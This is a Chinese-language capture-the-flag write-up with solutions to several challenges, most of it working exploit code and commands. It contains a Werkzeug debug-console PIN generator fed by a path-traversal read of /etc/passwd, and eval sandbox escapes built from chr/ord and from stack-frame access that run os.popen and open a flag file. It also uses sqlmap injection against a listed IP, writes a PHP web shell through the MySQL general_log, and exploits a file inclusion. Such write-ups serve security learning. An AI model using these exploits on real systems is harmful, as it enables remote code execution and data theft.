/proc/sys/kernel/random/boot_id----->d45a88e1-3fe4-4156-9e59-3864587b7c87 #private
/proc/self/cgroup ----->0::/
/../../../../../../../etc/passwd----->root:x:0:0:root:/root:/bin/ #pub
/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py #挨个试
算pin的exp
import hashlib
from itertools import chain
def mac_to_decimal(mac_address):
hex_pairs = mac_address.split(':')
decimal_value = 0
# 将每个十六进制对转换为十进制并累加
for hex_pair in hex_pairs:
decimal_value = (decimal_value << 8) + int(hex_pair, 16)
return decimal_value
mac_address = "b6:45:6c:7d:2e:b1" # /sys/class/net/eth0/address
# 调用函数将 MAC 地址转换为十进制数值
mac = str(mac_to_decimal(mac_address))
probably_public_bits = [
'root' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
mac, # mac地址十进制
'd45a88e1-3fe4-4156-9e59-3864587b7c87'
# /proc/sys/kernel/random/boot_id + /proc/self/cgroup (name=systemd:) /proc/self/cgroup为空不用看
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
因为每个请求都要host,可以看源码提交
?__debugger__=yes&cmd=pinauth&pin=293-579-492&s=EiqMhkW0qaOHzFnqNEn3
获取cookie
__wzd6bde80ed812309855c21=1730390066|aad426b2f48c

week4
crypto
MT19937
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import ast
class MT19937:
def __init__(self, state=None):
self.w, self.n, self.m, self.r = 32, 624, 397, 31
self.a = 0x9908B0DF
self.u, self.d = 11, 0xFFFFFFFF
self.s, self.b = 7, 0x9D2C5680
self.t, self.c = 15, 0xEFC60000
self.l = 18
self.index = self.n
if state:
# 确保状态数组长度为624
self.MT = list(state)
while len(self.MT) < self.n:
self.MT.append(0)
self.MT = self.MT[:self.n]
else:
self.MT = [0] * self.n
def twist(self):
lower_mask = (1 << self.r) - 1
upper_mask = (~lower_mask) & 0xFFFFFFFF
for i in range(self.n):
x = (self.MT[i] & upper_mask) | (self.MT[(i + 1) % self.n] & lower_mask)
xA = x >> 1
if x & 1:
xA ^= self.a
self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
self.index = 0
def extract_number(self):
if self.index >= self.n:
self.twist()
y = self.MT[self.index]
y = y ^ ((y >> self.u) & self.d)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)
self.index += 1
return y & 0xFFFFFFFF
def untemper(y):
y = y & 0xFFFFFFFF
# Reverse right shift 18
y = y ^ (y >> 18)
# Reverse left shift 15 and mask
temp = y
for i in range(2):
temp = y ^ ((temp << 15) & 0xEFC60000)
y = temp
# Reverse left shift 7 and mask
temp = y
for i in range(4):
temp = y ^ ((temp << 7) & 0x9D2C5680)
y = temp
# Reverse right shift 11
temp = y
for i in range(3):
temp = y ^ (temp >> 11)
y = temp
return y & 0xFFFFFFFF
def predict_next(outputs, num_predict):
state = [untemper(x) for x in outputs]
mt = MT19937(state)
predicted = []
for _ in range(num_predict):
predicted.append(mt.extract_number())
return predicted
def solve():
# Read data.txt
with open('data.txt', 'r') as f:
lines = f.readlines()
K1_outputs = ast.literal_eval(lines[0].strip())
K2_outputs = ast.literal_eval(lines[1].strip())
c1 = ast.literal_eval(lines[2].strip())
c2 = ast.literal_eval(lines[3].strip())
print("Length of K1_outputs:", len(K1_outputs))
print("Length of K2_outputs:", len(K2_outputs))
# Calculate cal values
# 对于K1,我们使用全部624个状态
cal1 = 0
next_nums1 = predict_next(K1_outputs, 624)
cal1 = sum(next_nums1)
print("cal1 calculated:", cal1)
# 对于K2,我们只使用前600个状态,但仍需预测156个数
cal2 = 0
next_nums2 = predict_next(K2_outputs, 156) # 624//4 = 156
cal2 = sum(next_nums2)
print("cal2 calculated:", cal2)
def decrypt(cal, ciphertext):
key = hashlib.sha256(str(cal).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
return unpad(cipher.decrypt(ciphertext), 16)
try:
print("Attempting decryption...")
m1 = decrypt(cal1, bytes(c1))
m2 = decrypt(cal2, bytes(c2))
flag = m1 + m2
return flag
except Exception as e:
print(f"Decryption error: {e}")
print(f"cal1: {cal1}")
print(f"cal2: {cal2}")
return None
if __name__ == '__main__':
print("Starting solver...")
flag = solve()
if flag:
try:
print("Flag:", flag.decode())
except:
print("Flag (raw):", flag)
else:
print("Failed to recover flag")
web(复现)
0进制计算器
from flask import Flask, render_template, request, jsonify
app = Flask(__name__)
@app.route('/')
def home():
return render_template('index.html')
@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output
from contextlib import redirect_stdout
from io import StringIO
class StupidInterpreter:
def __init__(self):
self.variables = {}
def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)
def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None
def checker(self, string):
try:
string.encode("ascii")
except UnicodeEncodeError:
return False
allow_chr = '0cdhor+-*/=()"\'; '
for char in string:
if char not in allow_chr:
return False
def executer(code):
outputIO = StringIO()
interpreter = StupidInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
return(output)
if __name__ == '__main__':
app.run(debug=False)
allow_chr = '0cdhor+-*/=()"\'; '
这是运行通过的字符,eval可以执行的一是"=“号右侧的部分,二是cdhor()内的部分
cdhor刚好可以组成chr和ord,可以利用这两个函数来组成任意字符。chr(ord())形式的代码可以在等号右侧被转换为需要执行的代码后,再经过cdhor()执行并输出结果
def generate_char(char):
char_ascii_bin = str(bin(ord(char)))
result = []
index = len(char_ascii_bin) - 1
for a in char_ascii_bin:
if index == 0 and a == "1":
result.append("(ord('*')-ord(')'))")
break
if index != 0 and a == "1":
mid_res = ["(ord('*')-ord('('))" for i in range(index)]
result.append("*".join(mid_res))
index -= 1
return("+".join(result))
def generate_sentence(string):
char_expressions = ["chr(" + generate_char(char) + ")" for char in string]
sentence_expression = "+".join(char_expressions)
return(sentence_expression)
# 定义字符串
sentence = """__import__('os').popen('cat /fl44gggg').read()"""
# 生成表达式
generated_expression = generate_sentence(sentence)
# 打印生成的表达式
print("Generated Expression:")
print(generated_expression)
# 执行并打印结果
result = eval(generated_expression)
print("\nExecution Result:")
print(result)

解密脚本的大致原理是设定了权值,将代码转化为ASCII再转化为二进制的形式,按照给定的权值进行转化,最后再拼接,本地可以测试测试。
0进制计算器 pro max
先上源码
from flask import Flask, render_template, request, jsonify
from contextlib import redirect_stdout
from io import StringIO
from sys import addaudithook
audit_enabled = False
dangerous_operation_detected = False
app = Flask(__name__)
@app.route('/')
def home():
return render_template('index.html')
@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output
dangerous_operations = [
"marshal", "__new__", "process", "os", "sys", "interpreter", "open",
"cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]
allowed_functions = ["print"]
class CleverInterpreter:
def __init__(self):
self.variables = {}
def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)
def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
# 执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.safe_executer('print(' + expression + ')')
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None
def safe_executer(self, expression):
global audit_enabled
output = ""
def exec_code(code):
outputIO = StringIO()
with redirect_stdout(outputIO):
exec(code, {
"__builtins__": None,
"print": print
}, None)
output = outputIO.getvalue()
return output
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
if self.clever_checker(expression) == False:
return("大傻春 你要干什么!")
code = compile(expression, "<sandbox>", "exec")
# 启用审计
audit_enabled = True
try:
output = exec_code(code)
except Exception as e:
print(f"执行出错: {e}")
finally:
# 关闭审计
audit_enabled = False
return output
def checker(self, code):
allow_chr = '0cdhor+-*/=()"\'; '
for char in code:
if char not in allow_chr:
return False
def clever_checker(self, code):
def simple_checker(source):
try:
source.encode("ascii")
except UnicodeEncodeError:
return False
for dangerous in dangerous_strings:
if dangerous in source.lower():
print(dangerous)
return False
return True
def opcode_checker(code):
from dis import dis
from io import StringIO
opcode_output = StringIO()
dis(code, file=opcode_output)
opcodes = opcode_output.getvalue().splitlines()
opcode_output.close()
for line in opcodes:
if any(opcode in line for opcode in dangerous_opcodes):
if any(func in line for func in allowed_functions):
continue
print("".join(opcode for opcode in dangerous_opcodes if opcode in line))
return False
return True
return simple_checker(code) and opcode_checker(code)
def block_wrapper():
def audit(event, args):
global audit_enabled, dangerous_operation_detected
dangerous_operation_detected = False
if audit_enabled:
event_info = event + "".join(str(arg) for arg in args)
event_info_lower = event_info.lower()
for dangerous in dangerous_operations:
if dangerous in event_info_lower:
global dangerous_operation
dangerous_operation_detected = True
dangerous_operation = dangerous
return
else:
return
return audit
def executer(code):
outputIO = StringIO()
interpreter = CleverInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
if dangerous_operation_detected:
output = ""
return ("危险操作: " + dangerous_operation)
else:
return(output)
if __name__ == '__main__':
addaudithook(block_wrapper())
app.run(debug=False, port=80, host="0.0.0.0")
参考文章https://www.cnblogs.com/gaorenyusi/p/18242719
考察的是python栈帧沙箱逃逸(妹听过啊)
三个安全模块是通过遍历下面三个列表对代码进行过滤的,而通过栈帧逃逸,我们可以访问到全局变量,因此只需要获取到全局变量表,将下面三个列表设为空即可
dangerous_operations = [
"marshal", "__new__", "process", "os", "sys", "interpreter", "open",
"cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]
注意要把题目里的print闭合,官p说的是在前面的改
先输入
sentence = """0)
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
exp()
print(0
"""

设置完成后就可以直接读取flag
sentence = """0)
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
open = gattr.open
print(open("/fl44gggg", "r").read())
exp()
print(0
"""

只是浮现了一下,知识点会放在学习计划中
可恶的骗子
官方给了两个解法都学习一下
0x01

聊天记录内url拼接到靶机,显示用手机打开,使用手机ua进行访问
ClickID参数单引号报错,存在sql注入
构造一个ua头
Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36
/Xianyu_goods/index.php?ClickID=161'
加个单引号发现有sql的报错
用sqlmap跑一下看看
python sqlmap.py -u http://210.44.150.15:36930/Xianyu_goods/index.php?ClickID=161 --user-agent='Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36' -D root -T admin_user --dump
最后的数据是

root::shctf_xianyu_password登入后台
具体getshell流程可以参考这篇phpMyAdmin利用日志文件GetSHELL-腾讯云开发者社区-腾讯云
登陆后使用日志写入php代码,首先启用日志
Set global general_log = on;
接着设置日志路径,扫描后发现Xianyu_goods下有go.php
Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';
然后执行
select '<?php system("cat /flag"); ?>';
最后进入对应界面就好了

0x02
根据聊天记录,网上搜索仿咸鱼 转转 交易猫系统源码等关键字,找到此系统源码
下载后使用工具进行审计,发现index.php存在文件包含,通过HTTP参数控制
文件自己审查一下,用常用的工具审一遍。
/Xianyu_goods/index.php?ClickID=161&HTYP=/flag